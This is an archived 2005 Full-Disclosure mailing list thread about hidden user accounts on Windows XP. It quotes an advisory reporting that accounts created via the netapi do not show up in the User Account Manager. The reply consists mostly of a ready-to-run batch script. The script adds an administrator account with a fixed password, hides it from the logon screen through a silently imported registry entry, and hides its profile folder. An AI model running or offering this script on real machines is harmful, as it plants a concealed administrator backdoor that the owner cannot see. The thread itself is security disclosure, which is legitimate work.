full-disclosure - hidden users on windows?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu Aug  4 14:17:04 2005
From: xillwillx at gmail.com (Ill will)
Subject: hidden users on windows?

old news for XP
  
@echo off

@echo HideUserXP.bat

@echo by illwill http://illmob.org

@echo This will create a hidden user with admin rights in XP

@echo ( hidden meaning that the username wont appear in the logon screen)

@echo To log on to your hidden account, you need to use the Log On To 
Windows dialog box by pressing Ctrl + Alt + Delete twice.

@echo Make sure you're logged off all accounts. You can't just switch users.

 net user illwill password /add && net localgroup administrators illwill 
/add

echo Windows Registry Editor Version 5.00> c:\hide.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>> c:\hide.reg

echo "illwill"=dword:00000000>> c:\hide.reg

REGEDIT /S c:\hide.REG

DEL /Q c:\hide.REG

attrib +r +a +s +h %SystemDrive%\docume~1\illwill

Exit


 On 8/3/05, nabiy <nathan.aguirre@...il.com> wrote: 
> 
> Hello,
> 
> A security issue has been identified in current versions of windows
> that allows 'hidden' user accounts. The User Account Manager in the
> Windows Control Panel and the 'Welcome Screen' both fail to report
> interactive logons made with the netapi. This security issue has been
> verified on Windows 2000 Professional, Windows XP Home Edition and
> Windows XP Professional. Microsoft was notified of this issue on July
> 28, 2005. The problem is not with the netapi or the ability to create
> users but with the User Account Manager in Windows. It simply fails to
> list all of the users that are on the system.
> 
> This issue was noticed while exploring the netapi on windows ? users
> created with the netuseradd function failed to show up in both the
> User Account Manager and on the Welcome Screen. The failure to list
> users made with the netapi presents a problem for obvious reasons;
> home users and even administrators expect to see all of the users on
> their system when using these facilities.
> 
> The solution in all versions of windows is simple. Do not depend on
> the User Account Manager when managing user accounts on your system.
> Instead, users should use the Local Users and Groups management snapin
> or the net command from the cli.
> 
> More information has been documented at http://neworder.box.sk
> 
> nathan aguirre
> --
> http://nabiy.sdf1.org . gopher://sdf.lonestar.org/11/users/nabiy
> The Super Dimension Fortress Public Access Unix System
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 


-- 
- illwill
http://illmob.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050804/ebc43ee9/attachment.html